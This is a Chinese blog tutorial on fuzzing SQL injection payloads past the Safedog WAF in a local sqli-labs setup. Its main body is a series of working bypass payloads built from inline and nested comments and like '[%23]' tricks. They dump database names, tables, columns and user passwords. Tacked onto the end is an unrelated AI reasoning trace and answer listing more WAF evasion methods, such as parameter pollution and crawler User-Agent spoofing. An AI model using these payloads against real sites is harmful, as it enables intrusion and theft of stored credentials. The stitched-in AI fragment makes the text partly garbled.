从SQL注入绕过最新安全狗WAF中学习fuzz

声明

出品|先知社区(ID: NineOne)
以下内容,来自先知社区的quan9i作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

前言

SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。

安装

我是本地搭建的环境进行测试的环境是windows11+phpstudy2018+sqli-labsphpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。

过程

图片

而如果你后安装apache2.4,出现Apache插件安装失败的可能性极大,那我们要

怎么安装apache2.4呢,很简单,首先找到你apache下的bin路径,我的是

“D:\phpStudy\PHPTutorial\Apache\bin”,然后进入cmd中(以管理员身份运行)

C:\Windows\system32>d:
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4//安装插件

此时插件的安装就完成了,直接去官网找Apache版本的安全狗

图片

下载到本地即可,此时进行安装(不要开启phpstudy),此时选择好安装路径后就会出现配置界面,它安装过插件的话一般是会自动检测的

图片

此时直接点击确定就好了,然后打开就会发现插件是已安装的

图片

此时看安全狗这个网站安全狗与防护总开关是否都开启,只有都开启了才有效,此时再去打开phpstudy,一般他就应该是自己变成系统服务了,如果没变的话就再选择一下即可

图片然后此时的话这个防护网站变成1个就说明配置好了
图片去访问网站就可以发现安全狗生效了
图片

构造1=1

方法一:

首先这里的话是尝试一个1=1,发现是不可以的

图片

更换成true=true进行尝试

图片

仍然不行,此时发现当and和后面没有空格的时候就会报错

图片

我们这里尝试用/*/来充当注释符

图片

发现还是被过滤了,此时我们就利用bp来进行fuzz,抓包后在/*/中添加变量(为爆破做准备)

图片

选择暴力破解,字符集就选/!*进行测试即可

图片

得到结果

图片

发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下

id=1' and/*////*/1 --+

图片

方法二:

当然常见的还有一个内联注释符,就是/*!00000*/这种的,用实例来解释是最好理解的

mysql> select @@version;
+-----------+
| @@version |
+-----------+| 
5.5.53    |
+-----------+
1 row in set (0.00 sec)
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

这种注释在mysql中叫做内联注释,如果没有接版本号时,会直接执行里面内容。当!后面接数据库版本号时,如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000),就会将注释中的内容执行,否则就会当做注释来处理。

那么这里的话,我们就想构造1=1,就可以利用它来进行绕过,我们构造如下/*!000001*/=/*!000001*/语句尝试进行绕过

图片

可以发现成功绕过了

order by 绕过

直接利用的话可以发现是不可以的

图片

由1=1的构造思路,我们尝试构造空格来进行绕过,构造payload如下

id=1' order/*////*/by 3 --+

图片

id=1' order/*////*/by 4 --+

图片

‍‍‍

成功判断出来了字段数为3

‍‍‍

联合查询

首先的话是想利用内联注释来进行一个绕过,因为单独的一个union和单独的select都是可以的,此时我就想利用它内联注释字符数大于版本号时将其内语句作为注释来进行一个绕过,测试过程如下

图片

选择暴力破解,设置0-9依次进行爆破

图片

而后得到结果

图片

发现这种利用垃圾字符的内联注释方式无法再次绕过,此时我们去尝试进行其他方法,想到之前的fuzz/**/中间加东西可以绕过,不妨试一下这种,设置如下:

图片

选择暴力破解,将字符集进行更换即可

图片

得到结果

图片

发现有很多可以绕过的,随便选一个来进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,3--+

图片

可以发现正常执行了,说明绕过了,这里再给出几个payload,师傅们可以自行测试

id=-1' union/*//--**/select 1,2,3--+ 
id=-1' union/*/!--**/select 1,2,3--+ 
id=-1' union/*/-*!!*/select 1,2,3--+

爆库

方法一(/**/方法):

此时直接去将3变成database()会被绕过,此时我是想用/*xxx*/()这种方式来进行绕过,利用bp设置如下
图片而后如下设置暴力破解
图片得到结果
图片可以发现有很多方式,我们随便挑选一个进行测试

id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+

图片

成功绕过

方法二(/*!*/内联注释法):

我们设置payload为/*!()*/这种,利用bp在括号前面加上五个数字,依次来检验哪个可以进行绕过,具体设置如下

图片

而后选暴力破解,设置如下

图片

得到结果

图片

随机取出一个进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+

图片

成功绕过

爆表

正常的话语句一般是这个样子

group_concat(table_name) from information_schema.tables where table_schema=database()

那么这里的话我们测试过后就会发现information_schema被过滤了,它俩只要在一起挨着就会被过滤

图片

同时呢,我们也发现利用from的时候也会被过滤

图片

对这两个进行分别fuzz的话比较麻烦,而且将两者进行一起用时可能会出现仍然被过滤的情况,因此此时的话就自然的想到了内联注释这种方法,可不可以用这种方法来进行绕过呢,我们先尝试一下

from/*!information_schema.tables*/

结果如下

图片

显然这种是不可行的,但是我们知道还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式,我们先进行本地测试

mysql> select /*!#  
   -> 1*/; 
+---+ 
| 1 | 
+---+ 
| 1 | 
+---+ 
1 row in set (0.00 sec) 
mysql> select /*!#/*     
    -> 1*/     
    -> ; 
+---+ 
| 1 | 
+---+ 
| 1 | 
+---+ 
1 row in set (0.00 sec)

此时经过本地测试发现,当运用内联注释时,里面插入/*,来构造/**/,也是可以实现绕过的,此时我们先试本地测试的第一种方法

?id=-1' 
union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ 
where table_schema='security'--+

图片

此时被绕过,那我们就用刚刚测试出来的第二种方法进行尝试

?id=-1' 
union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ 
where table_schema='security'--+

图片

此时想有没有可能是过滤了%23,我们将%23换成–+
构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--
+/*%0ainformation_schema.tables*/ where table_schema='security'--+

图片

得到了全部表

爆列

有了表名的注入,那么注入列名也不是件太难的事情,修改一下语句即可,构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--
+/*%0ainformation_schema.columns*/ where table_name='users'--+

爆字段信息

同理,修改语句即可

?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--
+/*%0ausers*/--+

其他姿势

like[“%23”]

在学习其他师傅的文章时,偶然间发现这个like[“%23”],这个的话我们知道%23是注释符的含义,那么在这里的时候,它这个语句到底有什么作用呢,我们测试一下就知道了,首先先正常查一个字段信息

select * from users where id=1 ;

图片

此时可以发现有一个结果,

我们加上我们的like[“%23”]构造payload如下

select * from users where id=1 like "[%23]";

图片

此时表变成空的了,那我们如果此时这样构造payload

select * from users where id=1 like "[%23]" union select * from users;

我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于

select * from users

图片

图片

那么此时我们就可以去我们的靶场进行测试,看是否能绕过

id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

图片

发现没有绕过,此时我们将union后的空格用换行符替代

id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

图片

此时就可以注入了,因此新的姿势就出现了,其他具体的不再列举,这里给出payload

//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+

参考文献

  1. https://xz.aliyun.com/t/10479#toc

  2. https://zhuanlan.zhihu.com/p/472880971

  3. https://cloud.tencent.com/developer/article/1856738

  4. https://blog.youkuaiyun.com/weixin_39190897/article/details/115841059

  5. https://blog.youkuaiyun.com/Drifter_Galaxy/article/details/108435339

  6. https://www.freebuf.com/articles/web/321240.html

  7. https://www.cnblogs.com/Cl0ud/p/14493204.html

<think>嗯,用户现在想知道如何绕过WAF进行SQL注入攻击。我需要整理一下相关的技术方法,确保回答准确且参考了提供的引用内容。首先,根据引用中的资料,绕过WAF的方法有很多种,比如使用注释符、特殊符号、编码解码、参数污染等。我得把这些方法分类,让结构更清晰。 用户可能对具体例子感兴趣,比如内联注释或者URL编码绕过。引用3提到用/**/替换空格,引用5里也有内联注释的例子。需要详细说明这些技术,并给出实际的payload示例,这样用户更容易理解。同时,还要注意引用的正确标注,比如在提到注释符绕过时,要加上引用[^3]或[^5]。 另外,用户可能想知道不同数据库的特性,比如MySQL的内联注释,或者如何利用参数污染。引用5提到了参数污染的方法,应该详细解释一下,并给出例子。比如使用多个参数来混淆WAF检测,这在引用5的第四种方法中有提到。 还需要考虑用户的实际应用场景,比如如何绕过特定的安全设备,比如安全。引用5中的例子使用了/*!42444and*/这样的内联注释,这可能针对特定版本的MySQL,需要说明版本号的作用。 此外,用户可能对如何组合多种技术感兴趣,比如同时使用注释和编码。引用4中提到特殊符号和函数分解,可能需要结合这些方法构造复杂的payload。同时,模糊测试(Fuzz)也是一个重要点,引用4和5都有提到,应该包含在回答里。 后,要确保回答结构清晰,分点列出方法,每个方法下都有示例和对应的引用来源。这样用户能够逐步理解不同的绕过技术,并知道如何应用。需要避免技术错误,比如正确使用内联注释的语法,以及编码的正确方式,比如十六进制或URL编码。</think>### SQL注入绕过WAF的技术方法 #### 一、注释符绕过 1. **普通注释符** 通过`/**/`或`#`替换空格或干扰检测,例如: ```sql UNION/**/SELECT/**/1,2,column_name/**/FROM/**/information_schema.columns ``` 此方法可绕过对空格的检测,适用于WAF过滤`UNION SELECT`组合的情况。 2. **内联注释(MySQL特有)** 使用`/*!版本号 内容*/`语法,若版本号大于数据库版本则注释内容会被执行: ```sql ?id=1'/*!44544AND*/'1'='1 ``` 通过添加高版本号的内联注释,可绕过部分WAF对关键字的检测[^5]。 --- #### 二、特殊符号与编码 1. **十六进制编码** 将表名或字符串转换为十六进制,例如`table_name=0x61645F6C696E6B`(对应`"ad_link"`)[^1]: ```sql UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x61645F6C696E6B ``` 2. **URL编码与混淆** 使用`%0A`(换行符)或`%23`(#号)干扰检测: ```sql ?id=1%0AUNION%0ASELECT%0A1,version(),3 ``` --- #### 三、参数污染与HTTP特性 1. **参数污染(HPP)** 通过多个同名参数混淆WAF解析: ``` ?id=1&id=/*&id=*/UNION SELECT 1,2,3 ``` 部分WAF可能仅检查第一个参数,从而绕过过滤[^5]。 2. **静态资源或白名单绕过** 伪造请求为静态文件(如`/test.jpg?id=1 UNION SELECT...`)或伪装成搜索引擎爬虫(修改`User-Agent`为百度爬虫)[^4]。 --- #### 四、函数与语法变形 1. **函数替代** 用等价函数替换被过滤的关键字,例如: ```sql SELECT substring(database(),1,1) → SELECT mid(database(),1,1) ``` 2. **分步注入与子查询** 分解复杂操作为多步,例如: ```sql ?id=1 AND (SELECT 1)=(SELECT 0x41*1000) UNION SELECT... ``` 通过构造大量数据干扰WAF的正则匹配[^2]。 --- #### 五、模糊测试(Fuzz)与自动化工具 1. **Payload变异** 使用工具(如`sqlmap tamper脚本`)自动生成混合大小写、添加随机注释等变体: ```sql UnIoN/*!88888SeLeCt*/1,@@version,3 ``` 2. **数据库特性利用** 如MySQL的`/*!50000关键字*/`语法、PostgreSQL的`||`运算符等,结合版本特性构造绕过[^5]。 --- #### 防御与绕过对抗要点 - **WAF规则局限性**:WAF通常基于正则表达式匹配,无法覆盖所有语法变形[^4]。 - **流量混淆**:通过多次编码(如双重URL编码+Base64)或分块传输(Chunked Encoding)绕过深度检测。 - **动态检测**:结合时间盲注或布尔盲注,减少直接回显的依赖。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值